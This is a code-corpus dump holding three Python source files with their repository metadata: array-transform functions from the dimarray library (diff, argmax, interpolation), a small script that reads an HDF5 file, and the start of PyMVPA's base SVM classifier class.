apply_along_axis(obj, 'argmin', axis=idx, skipna=skipna)\n\n    # along axis: single axis value\n    if axis is not None: # res is DimArray\n        res.values = obj.axes[idx].values[res.values] \n        return res\n\n    # flattened array: tuple of axis values\n    else: # res is ndarray\n        res = np.unravel_index(res, obj.shape)\n        return tuple(obj.axes[i].values[v] for i, v in enumerate(res))\n\n@format_doc(default_axis=\"None\")\n@format_doc(axis=_doc_axis, skipna=_doc_skipna)\ndef argmax(self, axis=None, skipna=False):\n    \"\"\" similar to numpy's argmax, but return axis values instead of integer position\n\n    Parameters\n    ----------\n    {axis}\n    {skipna}\n    \"\"\"\n    obj, idx, name = _deal_with_axis(self, axis)\n    res = apply_along_axis(obj, 'argmax', axis=idx, skipna=skipna)\n\n    # along axis: single axis value\n    if axis is not None: # res is DimArray\n        res.values = obj.axes[idx].values[res.values] \n        return res\n\n    # flattened array: tuple of axis values\n    else: # res is ndarray\n        res = np.unravel_index(res, obj.shape)\n        return tuple(obj.axes[i].values[v] for i, v in enumerate(res))\n\n#\n# Also define numpy.diff as method, with additional options\n#\n\n@format_doc(default_axis=-1)\n@format_doc(axis=_doc_axis)\ndef diff(self, axis=-1, scheme=\"backward\", keepaxis=False, n=1):\n    \"\"\" Analogous to numpy's diff\n\n    Calculate the n-th order discrete difference along given axis.\n\n    The first order difference is given by ``out[n] = a[n+1] - a[n]`` along\n    the given axis, higher order differences are calculated by using `diff`\n    recursively.\n\n    Parameters\n    ----------\n    {axis}\n\n    scheme : str, optional\n        determines the values of the resulting axis\n        - \"forward\" : diff[i] = x[i+1] - x[i]\n        - \"backward\": diff[i] = x[i] - x[i-1]\n        - \"centered\": diff[i] = x[i+1/2] - x[i-1/2]\n        Default is \"backward\"\n\n    keepaxis : bool, optional\n            if True, keep the initial axis by padding with NaNs\n            Only compatible with \"forward\" or \"backward\" differences\n            Default is False\n\n    n : int, optional\n        The number of times values are differenced.\n        Default is one\n\n    Returns\n    -------\n    diff : DimArray\n        The `n` order differences. The shape of the output is the same as `a`\n        except along `axis` where the dimension is smaller by `n`.\n\n    Examples\n    --------\n\n    Create some example data\n\n    >>> import dimarray as da\n    >>> v = da.DimArray([1,2,3,4], ('time', np.arange(1950,1954)), dtype=float)\n    >>> s = v.cumsum()\n    >>> s \n    dimarray: 4 non-null elements (0 null)\n    0 / time (4): 1950 to 1953\n    array([ 1.,  3.,  6., 10.])\n\n    `diff` reduces axis size by one, by default\n\n    >>> s.diff()\n    dimarray: 3 non-null elements (0 null)\n    0 / time (3): 1951 to 1953\n    array([2., 3., 4.])\n\n    The `keepaxis=` parameter fills array with `nan` where necessary to keep the axis unchanged. Default is backward differencing: `diff[i] = v[i] - v[i-1]`.\n\n    >>> s.diff(keepaxis=True)\n    dimarray: 3 non-null elements (1 null)\n    0 / time (4): 1950 to 1953\n    array([nan,  2.,  3.,  4.])\n\n    But other schemes are available to control how the new axis is defined: `backward` (default), `forward` and even `centered`\n\n    >>> s.diff(keepaxis=True, scheme=\"forward\") # diff[i] = v[i+1] - v[i]\n    dimarray: 3 non-null elements (1 null)\n    0 / time (4): 1950 to 1953\n    array([ 2.,  3.,  4., nan])\n\n    The `keepaxis=True` option is invalid with the `centered` scheme, since every axis value is modified by definition:\n\n    >>> s.diff(axis='time', scheme='centered')\n    dimarray: 3 non-null elements (0 null)\n    0 / time (3): 1950.5 to 1952.5\n    array([2., 3., 4.])\n    \"\"\"\n    # If `axis` is None (operations on the flattened array), just returns the numpy array\n    if axis is None:\n        return np.diff(self.values, n=n, axis=None)\n\n    # Deal with `axis` parameter, whether `int`, `str` or `tuple`\n    # possibly flattening dimensions if axis is tuple\n    obj, idx, name = _deal_with_axis(self, axis)\n\n    # Recursive call if n > 1\n    if n > 1:\n        obj = obj.diff(n=n-1, axis=idx, scheme=scheme, keepaxis=keepaxis)\n        n = 1\n\n    # n = 1\n    assert n == 1, \"n must be integer greater or equal to one\"\n\n    # Compute differences\n    result = np.diff(obj.values, axis=idx)\n\n    # Old axis along diff\n    oldaxis = obj.axes[idx]\n\n    # forward differencing\n    if scheme == \"forward\":\n\n        # keep axis: pad last element with NaNs\n        if keepaxis:\n            result = _append_nans(result, axis=idx)\n            newaxis = oldaxis.copy()\n\n        # otherwise just shorten the axis\n        else:\n            newaxis = oldaxis[:-1]\n\n    elif scheme == \"backward\":\n\n        # keep axis: pad first element with NaNs\n        if keepaxis:\n            result = _append_nans(result, axis=idx, first=True)\n            newaxis = oldaxis.copy()\n\n        # otherwise just shorten the axis\n        else:\n            newaxis = oldaxis[1:]\n\n    elif scheme == \"centered\":\n\n        # keep axis: central difference + forward/backward diff at the edges\n        if keepaxis:\n            #indices = range(oldaxis.size)\n            raise ValueError(\"keepaxis=True is not compatible with centered differences\")\n            #central = obj.values.take(indices[2:], axis=idx) \\\n            #        -  obj.values.take(indices[:-2], axis=idx)\n            #start = obj.values.take([1], axis=idx) \\\n            #        -  obj.values.take([0], axis=idx)\n            #end = obj.values.take([-1], axis=idx) \\\n            #        -  obj.values.take([-2], axis=idx)\n            #result = np.concatenate((start, central, end), axis=idx)\n            #newaxis = oldaxis.copy()\n\n        else:\n            axisvalues = 0.5*(oldaxis.values[:-1]+oldaxis.values[1:])\n            newaxis = Axis(axisvalues, name)\n\n    else:\n        raise ValueError(\"scheme must be one of 'forward', 'backward', 'central', got {}\".format(scheme))\n\n    newaxes = [ax.copy() if ax.name != name else newaxis for ax in obj.axes]\n    newobj = obj._constructor(result, newaxes, **obj.attrs)\n\n    return newobj\n\ndef _append_nans(result, axis, first=False):\n    \"\"\" insert a slice of NaNs at the front of an array along axis\n    or append the slice if append is True\n\n    axis: `int`\n    \"\"\"\n    nan_slice = np.empty_like(result.take([0], axis=axis)) # make a slice ...\n    nan_slice.fill(np.nan) # ...filled with NaNs\n\n    # Insert as first element\n    if first:\n        result = np.concatenate((nan_slice, result), axis=axis)\n\n    # Append\n    else:\n        result = np.concatenate((result, nan_slice), axis=axis)\n\n    return result\n\n#def _apply_minmax(obj, funcname, axis=None, skipna=False, args=(), **kwargs):\n#    \"\"\" apply min/max/argmin/argmax\n#\n#    special behaviour for these functions, with `keepdims` parameter\n#    \"\"\"\n#    # get actual axis values instead of numpy's integer index\n#    if funcname in (\"argmax\",\"argmin\",\"nanargmax\",\"nanargmin\"):\n#        assert axis is not None, \"axis must not be None for \"+funcname+\", or apply on values\"\n#        return obj.axes[idx].values[result] \n\n\n#\n# linear interpolation along an axis\n#\n\n# sort the axis if needed, to apply numpy interp\ndef _interp_internal_maybe_sort(obj, axis, issorted):\n    curaxis = obj.axes[axis]\n    if issorted is None:\n        issorted = np.all(curaxis.values[1:] >= curaxis.values[:-1])\n    if not issorted:\n        obj = obj.sort_axis(axis=axis)\n    return obj\n\ndef _numpy_interp(x, xp, yp, left=None, right=None):\n    \"\"\"Compatibility function for numpy interp, since the behaviour changes for certain versions\n    \"\"\"\n    y = np.interp(x, xp, yp, left=left, right=right)\n\n    # numpy 1.10.1 messes with left...\n    if np.__version__ == '1.10.1' and left is not None:\n        imin = np.argmin(xp, axis=0)\n        y[x == xp[imin]] = yp[imin]\n\n    return y\n\n# get interp weights\ndef _interp_internal_get_weights(oldx, newx):\n    \" compute necessary indices and weights to perform linear interpolation \"\n    newindices = _numpy_interp(newx, oldx, np.arange(oldx.size), left=-oldx.size, right=-1)\n    left_idx = newindices == -oldx.size # out-of-bounds\n    right_idx = newindices == -1\n    lhs_idx = np.asarray(newindices, dtype=int)\n    rhs_idx = np.asarray(np.ceil(newindices), dtype=int)\n    frac = newindices - lhs_idx\n    # return lhs_idx, rhs_idx, frac, left_idx, right_idx\n    return {'lhs_idx':lhs_idx, 'rhs_idx':rhs_idx, 'frac':frac, 'left_idx':left_idx,'right_idx':right_idx}\n\n# apply interp from weights\ndef _interp_internal_from_weight(arr, axis, left, right, lhs_idx, rhs_idx, frac, left_idx, right_idx):\n    \" numpy ==> numpy \"\n    # pre-broadcast dimensions\n    if arr.ndim > 1:\n        arr = arr.swapaxes(axis, 0) # make the interp axis the first axis\n        _frac = frac[(slice(None),)+(None,)*(arr.ndim-1)] # broadcast frac for multiplication\n    else:\n        _frac = frac\n\n    # compute the weighted sum\n    vleft = arr[lhs_idx]\n    vright = arr[rhs_idx]\n    newval = vleft + _frac*(vright - vleft)\n\n    # fill values\n    newval[left_idx] = left\n    newval[right_idx] = right\n\n    # transpose back\n    if arr.ndim > 1:\n        newval = newval.swapaxes(axis, 0)\n    return newval\n\ndef interp_axis(self, values, axis=0, left=np.nan, right=np.nan, issorted=None):\n    \"\"\" interpolate along one axis\n\n    Parameters\n    ----------\n    values : 1d array-like\n    axis, optional : axis name or integer rank\n        required unless values is an Axis\n    left, right : fill_values at the edges\n    issorted : None or bool, optional\n        indicates wether the original axis is sorted, to skip pre-sorting step\n        by default None: a check is performed, and the axis is sorted if needed\n\n    Returns\n    -------\n    dima : interpolated DimArray \n\n    Examples\n    --------\n    >>> from dimarray import DimArray\n\n    >>> a = DimArray([3,4], axes=[[1,3]])\n    >>> a.interp_axis([1,2,3])\n    dimarray: 3 non-null elements (0 null)\n    0 / x0 (3): 1 to 3\n    array([3. , 3.5, 4. ])\n    \n    Axis is not sorted\n\n    >>> a = DimArray([3,0,1], axes=[[3,0,1]]) \n    >>> a.interp_axis([1,2,3])\n    dimarray: 3 non-null elements (0 null)\n    0 / x0 (3): 1 to 3\n    array([1., 2., 3.])\n\n    N-Dimensional\n\n    >>> b = DimArray([[1,2,3],[4,5,6]], axes=[['a','b'], [0,1,2]]) # N-Dim\n    >>> b.interp_axis([0.5, 1.5, 2], axis=1)\n    dimarray: 6 non-null elements (0 null)\n    0 / x0 (2): 'a' to 'b'\n    1 / x1 (3): 0.5 to 2.0\n    array([[1.5, 2.5, 3. ],\n           [4.5, 5.5, 6. ]])\n\n    Out-of-bound handling (nan by default, but can be changed via left, right)\n\n    >>> b.interp_axis([-33, 1.5, 44], axis=1, left=-3.3, right=-4.4)\n    dimarray: 6 non-null elements (0 null)\n    0 / x0 (2): 'a' to 'b'\n    1 / x1 (3): -33.0 to 44.0\n    array([[-3.3,  2.5, -4.4],\n           [-3.3,  5.5, -4.4]])\n    \"\"\"\n    pos, name = self._get_axis_info(axis)\n    newaxis = Axis(values, name) # necessary array & type checks \n\n    # sort the axis if needed, to apply numpy interp\n    obj = _interp_internal_maybe_sort(self, axis, issorted)\n    curaxis = obj.axes[axis]\n\n    # use numpy's built-in for ndim == 1\n    if obj.ndim <= 1:\n        newval = _numpy_interp(newaxis.values, curaxis.values, obj.values, left=left, right=right)\n        newaxes = Axes([newaxis])\n\n    # otherwise calculate linear weights, and re-use them\n    else:\n        kwargs = _interp_internal_get_weights(curaxis.values, newaxis.values)\n        newval = _interp_internal_from_weight(obj.values, axis=pos, left=left, right=right, **kwargs)\n        newaxes = [ax.copy() if ax.name != newaxis.name else newaxis for ax in obj.axes]\n\n    dima = obj._constructor(newval, newaxes)\n    dima.attrs.update(obj.attrs) # add metadata\n\n    return dima\n\ndef interp_like(self, other, **kwargs):\n    \"\"\"Successive application of interp_axis to match another DimArray or axes shape\n\n    Examples\n    --------\n    >>> from dimarray import DimArray\n    >>> a = DimArray([3,4], axes=[[1,3]], dims=['x1'])\n    >>> b = DimArray([[1,2,3],[4,5,6]], axes=[['a','b'], [1,2,3]], dims=['x0','x1'])\n    >>> a.interp_like(b)\n    dimarray: 3 non-null elements (0 null)\n    0 / x1 (3): 1 to 3\n    array([3. , 3.5, 4. ])\n    \"\"\"\n    if hasattr(other, 'axes'):\n        axes = other.axes\n    elif isinstance(other, Axes):\n        axes = other\n    else:\n        raise TypeError('expected DimArray or Axes, got {}: {}'.format(type(other), other))\n\n    newdims = [ax2.name for ax2 in axes]\n    obj = self\n    for ax in self.axes:\n        if ax.name in newdims:\n            newaxis = axes[ax.name].values\n            obj = obj.interp_axis(newaxis, axis=ax.name, **kwargs)\n    return obj\n\n# Groupy: this is not really a multi-dimensional operation, so we could just remove it.\n# dima.to_pandas().groupby(...) is more instructive anyway because of the display.\n# def groupby(self, by):\n#     \"\"\"groupby method similar to pandas (only work for 1-D array - see DimArray.flatten)\n#\n#     Parameters\n#     ----------\n#     by : array-like (currently 1-D only)\n#     \n#     Returns\n#     -------\n#     GroupBy instance\n#     \"\"\"\n#     by = np.asarray(by)\n#     if self.shape != by.shape:\n#         raise ValueError('shape mismatch')\n#     by = by.flatten()\n#     # groups = itertools.groupby(self.values.flatten()[sorter], lambda by[sorter].tolist())\n#     # groups = [(values[sorter[slice_.start]], sorter[slice_]) for slice_ in slices]\n#     return GroupBy(self.values.flatten(), by)\n#\n# class GroupBy(object):\n#     def __init__(self, a, by):\n#         self.a = a\n#         self.sorter = by.argsort()\n#         self.by = by\n#     def _iter(self):\n#         return itertools.groupby(self.sorter, lambda i : self.by[i])\n#     @property\n#     def groups(self):\n#         return {g:list(vals) for g, vals in self._iter()}\n#     def apply(self, func, *args, **kwargs):\n#         from dimarray import DimArray\n#         axis, vals = zip(*[(lab, func(self.a[list(idx)], *args, **kwargs)) \\\n#                          for lab, idx in self._iter()])\n#         return DimArray(np.array(vals), [np.array(axis)])\n", "meta": {"hexsha": "7bc3e1ae1203e797ac03761316b73aff6f107e18", "size": 25129, "ext": "py", "lang": "Python", "max_stars_repo_path": "dimarray/core/transform.py", "max_stars_repo_name": "perrette/dimarray", "max_stars_repo_head_hexsha": "b506a8cd05182f6af5578c4c0677b1accf2f2d07", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 11, "max_stars_repo_stars_event_min_datetime": "2015-02-12T14:16:36.000Z", "max_stars_repo_stars_event_max_datetime": "2019-04-09T18:03:22.000Z", "max_issues_repo_path": "dimarray/core/transform.py", "max_issues_repo_name": "perrette/dimarray", "max_issues_repo_head_hexsha": "b506a8cd05182f6af5578c4c0677b1accf2f2d07", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 7, "max_issues_repo_issues_event_min_datetime": "2015-05-04T22:30:11.000Z", "max_issues_repo_issues_event_max_datetime": "2021-09-28T12:12:10.000Z", "max_forks_repo_path": "dimarray/core/transform.py", "max_forks_repo_name": "perrette/dimarray", "max_forks_repo_head_hexsha": "b506a8cd05182f6af5578c4c0677b1accf2f2d07", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.1002475248, "max_line_length": 157, "alphanum_fraction": 0.6168570178, "include": true, "reason": "import numpy,from numpy", "num_tokens": 6915, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.10230470515565382, "lm_q1q2_score": 0.05075273295356163}}
{"text": "import h5py\r\nimport numpy as np\r\n\r\n\r\ndef main() :\r\n    hdf5 = h5py.File(\"oamatrix.hdf5\", 'r')\r\n    print(list(hdf5.keys()))\r\n    print(hdf5[\"2^3\"].value)\r\n    hdf5.close()\r\n\r\n\r\nif __name__ == '__main__':\r\n    main()\r\n", "meta": {"hexsha": "52a68049556b5359b159e92ecb25f31fc37a3137", "size": 217, "ext": "py", "lang": "Python", "max_stars_repo_path": "mypkg/read_oamatrix.py", "max_stars_repo_name": "kagyuu/jupyter", "max_stars_repo_head_hexsha": "e4dfddfff8210487972a96465b611a51eb4c5501", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "mypkg/read_oamatrix.py", "max_issues_repo_name": "kagyuu/jupyter", "max_issues_repo_head_hexsha": "e4dfddfff8210487972a96465b611a51eb4c5501", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "mypkg/read_oamatrix.py", "max_forks_repo_name": "kagyuu/jupyter", "max_forks_repo_head_hexsha": "e4dfddfff8210487972a96465b611a51eb4c5501", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 15.5, "max_line_length": 43, "alphanum_fraction": 0.5576036866, "include": true, "reason": "import numpy", "num_tokens": 69, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709194, "lm_q2_score": 0.10230470378715427, "lm_q1q2_score": 0.05075273227465743}}
{"text": "# emacs: -*- mode: python; py-indent-offset: 4; indent-tabs-mode: nil -*-\n# vi: set ft=python sts=4 ts=4 sw=4 et:\n### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\n#\n#   See COPYING file distributed along with the PyMVPA package for the\n#   copyright and license terms.\n#\n### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\n\"\"\"Common to all SVM implementations functionality. For internal use only\"\"\"\n\n__docformat__ = 'restructuredtext'\n\nimport numpy as np\nimport textwrap\n\nfrom mvpa2.support.copy import deepcopy\n\nfrom mvpa2.base import warning\nfrom mvpa2.base.types import is_sequence_type\n\nfrom mvpa2.kernels.base import Kernel\nfrom mvpa2.base.dochelpers import handle_docstring, _rst, _rst_section, \\\n     _rst_indentstr\n\nfrom mvpa2.clfs.base import Classifier\nfrom mvpa2.base.param import Parameter\n\nif __debug__:\n    from mvpa2.base import debug\n\n\nclass _SVM(Classifier):\n    \"\"\"Support Vector Machine Classifier.\n\n    Base class for all external SVM implementations.\n    \"\"\"\n\n    \"\"\"\n    Derived classes should define:\n\n    * _KERNELS: map(dict) should define assignment to a tuple containing\n      implementation kernel type, list of parameters adherent to the\n      kernel, and sensitivity analyzer e.g.::\n\n        _KERNELS = {\n             'linear': (shogun.Kernel.LinearKernel, (), LinearSVMWeights),\n             'rbf' :   (shogun.Kernel.GaussianKernel, ('gamma',), None),\n             ...\n             }\n\n    * _KNOWN_IMPLEMENTATIONS: map(dict) should define assignment to a\n      tuple containing implementation of the SVM, list of parameters\n      adherent to the implementation, additional internals, and\n      description e.g.::\n\n        _KNOWN_IMPLEMENTATIONS = {\n          'C_SVC' : (svm.svmc.C_SVC, ('C',),\n                   ('binary', 'multiclass'), 'C-SVM classification'),\n          ...\n          }\n\n    \"\"\"\n\n    \n    _ATTRIBUTE_COLLECTIONS = ['params'] # enforce presence of params collections\n\n    # Placeholder: map kernel names to sensitivity classes, ie\n    # 'linear':LinearSVMWeights, for each backend\n    _KNOWN_SENSITIVITIES={}\n    kernel = Parameter(None, allowedtype=Kernel,\n                       doc='Kernel object', index=-1)\n\n    _SVM_PARAMS = {\n        'C' : Parameter(-1.0,\n                  doc='Trade-off parameter between width of the '\n                      'margin and number of support vectors. Higher C -- '\n                      'more rigid margin SVM. In linear kernel, negative '\n                      'values provide automatic scaling of their value '\n                      'according to the norm of the data'),\n        'nu' : Parameter(0.5, min=0.0, max=1.0,\n                  doc='Fraction of datapoints within the margin'),\n        'cache_size': Parameter(100,\n                  doc='Size of the kernel cache, specified in megabytes'),\n        'tube_epsilon': Parameter(0.01,\n                  doc='Epsilon in epsilon-insensitive loss function of '\n                      'epsilon-SVM regression (SVR)'),\n        'tau': Parameter(1e-6, doc='TAU parameter of KRR regression in shogun'),\n        'probability': Parameter(0,\n                  doc='Flag to signal either probability estimate is obtained '\n                      'within LIBSVM'),\n        'shrinking': Parameter(1, doc='Either shrinking is to be conducted'),\n        'weight_label': Parameter([], allowedtype='[int]',\n                  doc='To be used in conjunction with weight for custom '\n                      'per-label weight'),\n        # TODO : merge them into a single dictionary\n        'weight': Parameter([], allowedtype='[double]',\n                  doc='Custom weights per label'),\n        # For some reason setting up epsilon to 1e-5 slowed things down a bit\n        # in comparison to how it was before (in yoh/master) by up to 20%... not clear why\n        # may be related to 1e-3 default within _svm.py?\n        'epsilon': Parameter(5e-5, min=1e-10,\n                  doc='Tolerance of termination criteria. (For nu-SVM default is 0.001)')\n        }\n\n    _KNOWN_PARAMS = ()                  # just a placeholder to please lintian\n    \"\"\"Parameters which are specific to a given instantiation of SVM\n    \"\"\"\n\n    __tags__ = [ 'svm', 'kernel-based', 'swig' ]\n\n    def __init__(self, **kwargs):\n        \"\"\"Init base class of SVMs. *Not to be publicly used*\n\n        TODO: handling of parameters might migrate to be generic for\n        all classifiers. SVMs are chosen to be testbase for that\n        functionality to see how well it would fit.\n        \"\"\"\n\n        # Check if requested implementation is known\n        svm_impl = kwargs.get('svm_impl', None)\n        if not svm_impl in self._KNOWN_IMPLEMENTATIONS:\n            raise ValueError, \\\n                  \"Unknown SVM implementation '%s' is requested for %s.\" \\\n                  \"Known are: %s\" % (svm_impl, self.__class__,\n                                     self._KNOWN_IMPLEMENTATIONS.keys())\n        self._svm_impl = svm_impl\n\n        impl, add_params, add_internals, descr = \\\n              self._KNOWN_IMPLEMENTATIONS[svm_impl]\n\n        # Add corresponding parameters to 'known' depending on the\n        # implementation chosen\n        if add_params is not None:\n            self._KNOWN_PARAMS = \\\n                 self._KNOWN_PARAMS[:] + list(add_params)\n\n\n        # Assign per-instance __tags__\n        self.__tags__ = self.__tags__[:] + [svm_impl]\n\n        # Add corresponding internals\n        if add_internals is not None:\n            self.__tags__ += list(add_internals)\n        self.__tags__.append(svm_impl)\n\n        k = kwargs.get('kernel', None)\n        if k is None:\n            kwargs['kernel'] = self.__default_kernel_class__()\n        if 'linear' in ('%s'%kwargs['kernel']).lower(): # XXX not necessarily best\n            self.__tags__ += [ 'linear', 'has_sensitivity' ]\n        else:\n            self.__tags__ += [ 'non-linear' ]\n\n        # pop out all args from **kwargs which are known to be SVM parameters\n        _args = {}\n        for param in self._KNOWN_PARAMS + ['svm_impl']: # Update to remove kp's?\n            if param in kwargs:\n                _args[param] = kwargs.pop(param)\n\n        try:\n            Classifier.__init__(self, **kwargs)\n            \n        except TypeError, e:\n            if \"__init__() got an unexpected keyword argument \" in e.args[0]:\n                # TODO: make it even more specific -- if that argument is listed\n                # within _SVM_PARAMS\n                e.args = tuple( [e.args[0] +\n                                 \"\\n Given SVM instance of class %s knows following parameters: %s\" %\n                                 (self.__class__, self._KNOWN_PARAMS) + \\\n                                 list(e.args)[1:]])\n            raise e\n\n        # populate collections and add values from arguments\n        for paramfamily, paramset in ( (self._KNOWN_PARAMS, self.params),):\n            for paramname in paramfamily:\n                if not (paramname in self._SVM_PARAMS):\n                    raise ValueError, \"Unknown parameter %s\" % paramname + \\\n                          \". Known SVM params are: %s\" % self._SVM_PARAMS.keys()\n                param = deepcopy(self._SVM_PARAMS[paramname])\n                if paramname in _args:\n                    param.value = _args[paramname]\n                    # XXX might want to set default to it -- not just value\n\n                paramset[paramname] = param\n\n        # TODO: Below commented out because kernel_type has been removed.  \n        # Find way to set default C as necessary\n        \n        # tune up C if it has one and non-linear classifier is used\n        #if self.params.has_key('C') and kernel_type != \"linear\" \\\n               #and self.params['C'].is_default:\n            #if __debug__:\n                #debug(\"SVM_\", \"Assigning default C value to be 1.0 for SVM \"\n                      #\"%s with non-linear kernel\" % self)\n            #self.params['C'].default = 1.0\n\n        # Some postchecks\n        if self.params.has_key('weight') and self.params.has_key('weight_label'):\n            if not len(self.params.weight_label) == len(self.params.weight):\n                raise ValueError, \"Lenghts of 'weight' and 'weight_label' lists \" \\\n                      \"must be equal.\"\n\n            \n        if __debug__:\n            debug(\"SVM\", \"Initialized %s with kernel %s\" % \n                  (self, self.params.kernel))\n\n\n    # XXX RF\n    @property\n    def kernel_params(self):\n        if self.params.kernel:\n            return self.params.kernel.params\n        return None\n    \n    def __repr__(self):\n        \"\"\"Definition of the object summary over the object\n        \"\"\"\n        res = \"%s(svm_impl=%r\" % \\\n              (self.__class__.__name__, self._svm_impl)\n        sep = \", \"\n        # XXX TODO: we should have no kernel_params any longer\n        for col in [self.params]:#, self.kernel_params]:\n            for k in col.keys():\n                # list only params with not default values\n                if col[k].is_default: continue\n                res += \"%s%s=%r\" % (sep, k, col[k].value)\n                #sep = ', '\n        ca = self.ca\n        for name, invert in ( ('enable', False), ('disable', True) ):\n            ca_chosen = ca._get_enabled(nondefault=False, invert=invert)\n            if len(ca_chosen):\n                res += sep + \"%s_ca=%r\" % (name, ca_chosen)\n\n        res += \")\"\n        return res\n\n    ##REF: Name was automagically refactored\n    def _get_cvec(self, data):\n        \"\"\"Estimate default and return scaled by it negative user's C values\n        \"\"\"\n        if not self.params.has_key('C'):#svm_type in [_svm.svmc.C_SVC]:\n            raise RuntimeError, \\\n                  \"Requested estimation of default C whenever C was not set\"\n\n        C = self.params.C\n        if not is_sequence_type(C):\n            # we were not given a tuple for balancing between classes\n            C = [C]\n\n        Cs = list(C[:])               # copy\n        for i in xrange(len(Cs)):\n            if Cs[i] < 0:\n                Cs[i] = self._get_default_c(data.samples)*abs(Cs[i])\n                if __debug__:\n                    debug(\"SVM\", \"Default C for %s was computed to be %s\" %\n                          (C[i], Cs[i]))\n\n        return Cs\n\n    ##REF: Name was automagically refactored\n    def _get_default_c(self, data):\n        \"\"\"Compute default C\n\n        TODO: for non-linear SVMs\n        \"\"\"\n\n        if self.params.kernel.__kernel_name__ == 'linear':\n            # TODO: move into a function wrapper for\n            #       np.linalg.norm\n            if np.issubdtype(data.dtype, np.integer):\n                # we are dealing with integers and overflows are\n                # possible, so assure working with floats\n                def sq_func(x):\n                    y = x.astype(float) # copy as float\n                    y *= y              # in-place square\n                    return y\n            else:\n                sq_func = np.square\n            # perform it per each sample so we do not double memory\n            # with calling sq_func on full data\n            # Having a list of norms here automagically resolves issue\n            # with memmapped operations on which return\n            # in turn another memmap\n            datasetnorm = np.mean([np.sqrt(np.sum(sq_func(s)))\n                                   for s in data])\n            if datasetnorm == 0:\n                warning(\"Obtained degenerate data with zero norm for training \"\n                        \"of %s.  Scaling of C cannot be done.\" % self)\n                return 1.0\n            value = 1.0/(datasetnorm**2)\n            if __debug__:\n                debug(\"SVM\", \"Default C computed to be %f\" % value)\n        else:\n            warning(\"TODO: Computation of default C is not yet implemented\" +\n                    \" for non-linear SVMs. Assigning 1.0\")\n            value = 1.0\n\n        return value\n\n\n    # TODO: make part of kernel object\n    #def _getDefaultGamma(self, dataset):\n        #\"\"\"Compute default Gamma\n\n        #TODO: unify bloody libsvm interface so it makes use of this function.\n        #Now it is computed within SVMModel.__init__\n        #\"\"\"\n\n        ## TODO: Check validity of this w/ new kernels (ie sg.Rbf has sigma)\n        #if self.kernel_params.has_key('gamma'):\n            #value = 1.0 / len(dataset.uniquetargets)\n            #if __debug__:\n                #debug(\"SVM\", \"Default Gamma is computed to be %f\" % value)\n        #else:\n            #raise RuntimeError, \"Shouldn't ask for default Gamma here\"\n\n        #return value\n\n    ##REF: Name was automagically refactored\n    def get_sensitivity_analyzer(self, **kwargs):\n        \"\"\"Returns an appropriate SensitivityAnalyzer.\"\"\"\n\n        sana = self._KNOWN_SENSITIVITIES.get(self.params.kernel.__kernel_name__,\n                                             None)\n        if sana:\n            return sana(self, **kwargs)\n        else:\n            raise NotImplementedError, \\\n                  \"Sensitivity analyzers for kernel %s is unknown\" % \\\n                  self.params.kernel\n\n\n    @classmethod\n    ##REF: Name was automagically refactored\n    def _customize_doc(cls):\n        #cdoc_old = cls.__doc__\n        # Need to append documentation to __init__ method\n        idoc_old = cls.__init__.__doc__\n\n        idoc = \"\"\"\nSVM/SVR definition is dependent on specifying kernel, implementation\ntype, and parameters for each of them which vary depending on the\nchoices made.\n\nDesired implementation is specified in ``svm_impl`` argument. Here\nis the list if implementations known to this class, along with\nspecific to them parameters (described below among the rest of\nparameters), and what tasks it is capable to deal with\n(e.g. regression, binary and/or multiclass classification):\n\n\"\"\"\n        # XXX Deprecate\n        # To not confuse sphinx -- lets avoid Implementations section\n        # %s\"\"\" % (_rst_section('Implementations'),)\n\n\n        class NOSClass(object):\n            \"\"\"Helper -- NothingOrSomething ;)\n            If list is not empty -- return its entries within string s\n            \"\"\"\n            def __init__(self):\n                self.seen = []\n            def __call__(self, l, s, empty=''):\n                if l is None or not len(l):\n                    return empty\n                else:\n                    lsorted = list(l)\n                    lsorted.sort()\n                    self.seen += lsorted\n                    return s % (', '.join(lsorted))\n        NOS = NOSClass()\n\n        # Describe implementations\n        idoc += ''.join(\n            ['\\n%s%s : %s' % (_rst_indentstr, k, v[3])\n             + NOS(v[1], \"\\n\" + _rst_indentstr + \"  Parameters: %s\")\n             + NOS(v[2], \"%s\" % _rst(('','\\n')[int(len(v[1])>0)], '')\n                   + _rst_indentstr + \"  Capabilities: %s\")\n             for k,v in cls._KNOWN_IMPLEMENTATIONS.iteritems()])\n\n        # Describe kernels\n        idoc += \"\"\"\n\nKernel choice is specified as a kernel instance with kwargument ``kernel``.\nSome kernels (e.g. Linear) might allow computation of per feature\nsensitivity.\n\n\"\"\"\n        # XXX Deprecate\n        # %s\"\"\" % (_rst_section('Kernels'),)\n\n        #idoc += ''.join(\n        #    ['\\n%s%s' % (_rst_indentstr, k)\n        #     + ('', ' : provides sensitivity')[int(v[2] is not None)]\n        #     + '\\n    ' + NOS(v[1], '%s', 'No parameters')\n        #     for k,v in cls._KERNELS.iteritems()])\n\n        # Finally parameters\n        NOS.seen += cls._KNOWN_PARAMS# + cls._KNOWN_KERNEL_PARAMS\n\n        idoc += '\\n' + _rst_section('Parameters') + '\\n' + '\\n'.join(\n            [v._paramdoc()\n             for k,v in cls._SVM_PARAMS.iteritems()\n             if k in NOS.seen])\n\n        cls.__dict__['__init__'].__doc__ = handle_docstring(idoc_old) + idoc\n\n\n# populate names in parameters\nfor k, v in _SVM._SVM_PARAMS.iteritems():\n    v._set_name(k)\n\n", "meta": {"hexsha": "7d7cad6c41f759036ab4c53542f80a76d2ee1c6d", "size": 15841, 